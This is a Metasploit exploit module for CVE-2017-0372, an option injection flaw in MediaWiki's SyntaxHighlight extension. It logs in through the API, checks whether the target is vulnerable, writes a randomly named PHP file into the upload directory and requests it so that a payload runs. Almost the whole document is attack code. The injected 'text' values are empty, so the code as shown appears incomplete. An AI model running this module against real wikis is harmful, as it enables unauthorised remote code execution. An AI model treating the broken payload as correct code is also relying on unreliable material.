## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability', 'Description' => %q{ This module exploits an option injection vulnerability in the SyntaxHighlight extension of MediaWiki. It tries to create & execute a PHP file in the document root. The USERNAME & PASSWORD options are only needed if the Wiki is configured as private. This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki version 1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3. }, 'Author' => 'Yorick Koster', 'License' => MSF_LICENSE, 'Platform' => 'php', 'Payload' => { 'BadChars' => "#{(0x1..0x1f).to_a.pack('C*')} ,'\"" } , 'References' => [ [ 'CVE', '2017-0372' ], [ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ], [ 'URL', 'https://phabricator.wikimedia.org/T158689' ], [ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ] ], 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 06 2017')) register_options( [ OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]), OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]), OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]), OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]), OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ]) ]) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api.php'), 'cookie' => @cookie, 'vars_post' => { 'action' => 'parse', 'format' => 'json', 'contentmodel' => 'wikitext', 'text' => '' } }) if(res && res.headers.key?('MediaWiki-API-Error')) if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException') return Exploit::CheckCode::Appears elsif(res.headers['MediaWiki-API-Error'] == 'readapidenied') print_error("Login is required") end return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end # use deprecated interface def login print_status("Trying to login....") # get login token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api.php'), 'vars_post' => { 'action' => 'login', 'format' => 'json', 'lgname' => datastore['USERNAME'] } }) unless res fail_with(Failure::Unknown, 'Connection timed out') end json = res.get_json_document if json.empty? || !json['login'] || !json['login']['token'] fail_with(Failure::Unknown, 'Server returned an invalid response') end logintoken = json['login']['token'] @cookie = res.get_cookies # login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api.php'), 'cookie' => @cookie, 'vars_post' => { 'action' => 'login', 'format' => 'json', 'lgname' => datastore['USERNAME'], 'lgpassword' => datastore['PASSWORD'], 'lgtoken' => logintoken } }) unless res fail_with(Failure::Unknown, 'Connection timed out') end json = res.get_json_document if json.empty? || !json['login'] || !json['login']['result'] fail_with(Failure::Unknown, 'Server returned an invalid response') end if json['login']['result'] == 'Success' @cookie = res.get_cookies else fail_with(Failure::Unknown, 'Failed to login') end end def exploit @cookie = '' if datastore['USERNAME'] && datastore['USERNAME'].length > 0 login end check_code = check unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears fail_with(Failure::NoTarget, "#{peer}") end phpfile = "#{rand_text_alpha_lower(25)}.php" cssfile = "#{datastore['UPLOADPATH']}/#{phpfile}" cleanup = "unlink(\"#{phpfile}\");" if not datastore['CLEANUP'] cleanup = "" end print_status("Local PHP file: #{cssfile}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api.php'), 'cookie' => @cookie, 'vars_post' => { 'action' => 'parse', 'format' => 'json', 'contentmodel' => 'wikitext', 'text' => "" } }) if res print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}") send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)}) end end end